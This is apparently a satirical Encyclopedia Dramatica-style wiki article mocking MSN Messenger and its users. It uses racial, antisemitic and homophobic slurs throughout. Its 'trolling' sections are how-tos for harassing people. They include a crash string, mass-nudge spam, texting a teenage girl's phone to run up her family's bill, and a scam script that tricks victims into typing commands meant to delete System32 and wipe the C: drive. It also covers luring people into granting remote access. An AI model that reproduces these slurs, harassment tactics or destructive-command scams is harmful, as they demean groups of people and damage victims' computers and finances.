MSN

Not to be confused with MSN.com, the site that noobs who use Internet Explorer always have for their start page.

MSN (also goes by Microsoft Network) is an outdated e-mail thing, that, like Yahoo!, was once relevant, but now is only used by old people. A common confusion is that MSN and Windows Live Messenger are the same, but, in actuality, MSN is a web-portal for mail, news, weather, searching, and other nifty gadgets.

MSN is virtually indistinguishable with AOL and Yahoo!, and therefore, just as shitty. As of Early 2013, every Live Messenger account will be baleeted and transferred onto Skype.

The Humble Beginnings

OG wit styles

Reminds me of something else

	“	And God said, Let there be MSN: and there was MSN. And God saw the light, and it was good; and God divided the light from the darkness	„
	—Yahweh

With the release of Windows 95, Microsoft decided to jump on the bandwagon and Jew people out of their monies by making an e-mail system that charged you 1,000,000 monies a month for spam mail. MSN went on to become relevant, and dominate the internets. MSN would also go on to raep people's computers by placing toolbars into Internet Explorer. Srsly guys, just get Google Chrome (or maybe not.) In 1999, Microsoft released Windows Live Messenger, which is remembered for being useless and shitty.

The Mechanics

♥ LOCK & LOAD;LIANA. said: i fxcking hate you.
CNT SNiFF ME BUT I AM DOPE NIGUHH said:...fuk u emo ill kik yur azz.
&&____xKilledHannahRudeBoii- said: go listen to senses fail, bettchhxcore.
(R) ♥♥•ø·¸¸.·´°¤SaMmIe Is SxCy ByYtChEsZz¤°`·.¸¸·ø•♥ said: ..:: You Are Such An Emo, I H8 U;;

Such drivel is typically meaningless in nature, and should be disregarded by those who unwisely encounter it. The above example is considered a bad one, considering the high chance of the 'Liana' girl permabanning herself from life. Many users result to blocking each other after petty yet hilarious fights, and complain to their unblocked friends about how much time they are wasting on the stupidity of MSN's users.

Others use it as a shameless means of self-promotion through their user names, a pretentious way of whoring out their Twitter or DeviantART accounts, and presence on other similar websites.

MSN also provides internet access which is about as shitty as AOL. The only difference is that MSN will not steal your money and spend it on prostitutes for their worker's rape. Most 13 year old boys who join MSN are those who had their AOL account deleted for uploading porn, beastiality and illegal music and movies.

Also Used By

Typical MSN convos go like this...

Furries when their favorite fuck-fest site is closed
Faggots who talk about dicks to someone who is offline
Tight-assed bastards with friends in other countries
12 year-olds and pedophiles (usually at the same place)
The Grammar Nazi
Teh Jews when trying to take over the Internets
Niggers
Indians

MSN’s Spawn

Creations that have spawned form MSN over the years are:

Attention whores
Goths
Fucktards
Camwhores
Wankers
Any communities and social groups disliked by Encyclopædia Dramatica

Proper Trolling of MSN

Typical MSN convWAT

If a user copypastas the text n—a_Á—ay±m—a?ÁÇáç±Çáß±Çá§ÁaÇáÇ±OÇá—±Çá§±Çár×ÁÇ á+NÇ áLáÇá into their personal message, epic win will result as they log out never to log back in again Doesn't work but feel free to keep reading, dumbass. Other possible outcomes depending on the version of MSN that your victim has include someone's entire contact list being deleted, inability to sign off even though their internet is disconnected, and a whole lot of butthurt. Microsoft, for some reason, is completely oblivious of this bug, and so you can appear to be a elite hacker by using it. When used on a phished account, tell people that by putting this code in their MSN name, they can hack into the account of everyone on their friends list.

You can also say that it makes their MSN name glow colours/rainbow/etc; works best on the type of people who configure their MSN names with random symbols.
It makes the version of MSN on [insert their operating system here] update to a SUPER SEEKRIT new version not released to the public yet; works best on geeks
You can notify Their account is sending out spam and this is an easy way to stop it

However, for best results, observe the work of /i/nsurgents who combined trolling FreeChatNow with this MSN bug, shown left.

Note that none of the above will work with the newest versions of MSN.

THIS JUST IN: If you get sent New_Girl_JPG.zip randomly, usually with an accompanying message of something gay that your friend would never actually say such as "Omg!! Have you seen this? I did a Instagram search for the new girl in year 10.... and she had these fotos of you and her! WTF?!", ~~don't accept it, you douche. One hundred percent of these are viruses that will infect your MSN and send these messages to all of your contacts~~ Disregard that accept it, lulz will ensue upon all of your contacts receiving spam from you replying with hate mail saying YOU GIEV ME A VRUS I'M GOING DELETE YOU NOW because everybody who uses MSN is an indian trying to find a bitch to watch him wrap his hand around his cock for absolutely no fucking reason and ending with saying I cum you face now. This virus has thus cemented its place as the AIDS of the instant messenger.

There is a top seecrit feature of MSN which allows for excessive amounts of lulz. Upon adding a contact you may edit their information as it is viewed from your account, from there you may add a mobile number. You can set it to anything you like. If the contact is a 16 year old bitch she will have set up her account to windows live mobile or whatever the fuck it's called. You may then, upon her accepting your request to add her as a friend, which she will, because anybody who actually uses that pile of shit is an attention whoring bitch with no irl friends and probably has the e-penis add-on for messenger plus at over 9000 inches, you may send her text messages of up to 256 characters. These messages do not have a limit and you can therefore spam the fuck out of her phone. If, belonging to the poor niggers that every MSN user belongs to, she does not have unlimited texting, you will be able to get her mother charged thousands of dollars in a matter of minutes. Oh, don't stop there though. Keep going with it, see how far in debt you can get them. Massive lulz will ensue as all of her "friends" will attempt to add you. They will all also have their windows mobile setup and have no problem giving you their cell phone numbers as it will somehow increase the size of their e-peen. Just repeat that process until you've got an infinite amount of rage coming your way. Or you get v& for harassment. Though that couldn't happen as nobody you're harassing would have a means of telling anybody else whats happening while they've got access to everything cut off because they couldn't pay their bills.

Owning people's computers via MSN

The Temporary Version

Get Messenger Plus
Get Nudges Tools Script 1.1 and install it
Turn off nudges (You will still be able to send them, thanks to the script)
Invite loads of people into a convo
Type /sendnudge 40000 100. This will send 40,000 nudges which will own their computer and they will probably have to restart (unless they have a shitload of RAM and are able to exit MSN)
????
PROFIT!!

You can also increase the amount of runtime taken up by using an auto spammer to send countless offensive messages.
Note: None of this actually works unless the victim is some filthy nigger who hasn't taken the time to steal a new computer so he has MSN taking up 99% of the space on his computer. It will, however do it upon being blocked because it believes the messages were all sent at the same time.

The Permanent Fucking PWN

Watch and learn.

Inform somebody that their MSN account is sending out spam viruses, and that if they don't fix it, you'll have to report them to Microsoft and have their account deleted. Conveniently offer them a way to fix it, if they have a Windows computer.
Talk them through this: "Click on your Start menu, then All Programs, and look for something called 'Run', usually be under the All Programs menu, or under Accessories." Once they tell you they have that open, tell them to type 'cmd', then on the next thing that comes up, type del /f c:\windows\system32, then C:> Deltree C:\ /y.

If they're skeptical about this, tell them that if they go in through Windows Explorer, there's a System folder and a System32 folder. The System32 folder is the one that the virus makes to try to trick you into not deleting it. The virus makes it so that you can't delete System32 from Windows Explorer, but with this thing you're doing, it'll delete the virus and remove it from your computer.

Remote Assistance

This can result in serious pwnage of someone's computer, but they have to either trust you, be a complete retard, or be drunk. Whilst in the conversation window with someone "Request remote assistance". This will be found on the top somewhere. You might have to ask them to request it instead, because on some versions of MSN you can only ask for them to give you "remote assistance". That is epic fail and they will probably crash your computer resulting in self-pwnage. However, if done correctly, you'll have free control over their computer. What to do then is up to you.
Note: This doesn't actually work because MSN is broken and just freezes up when you try to click remote assistance. Convince them to download teamviewer instead.

Just for the Record

Getting fucktards from a chat site with the promise of being a OMG hot 16 year old girl on webcam can result in much lulz being generated by their retarded sexual efforts at conversation and the lulz-perpetrator showing their hairy ball-sack on webcam as opposed to the "hot, wet pussy" they promised.

Also, make sure the first person you try to expose isn't a fucking computer engineer or if he is, make sure he's really stupid, otherwise massive amounts of fail could possibly turn you into an hero. I take it you're speaking from experience then and failed at your attempt to an hero? Making you one of two things. A 12 year old boy or a 48 year old man.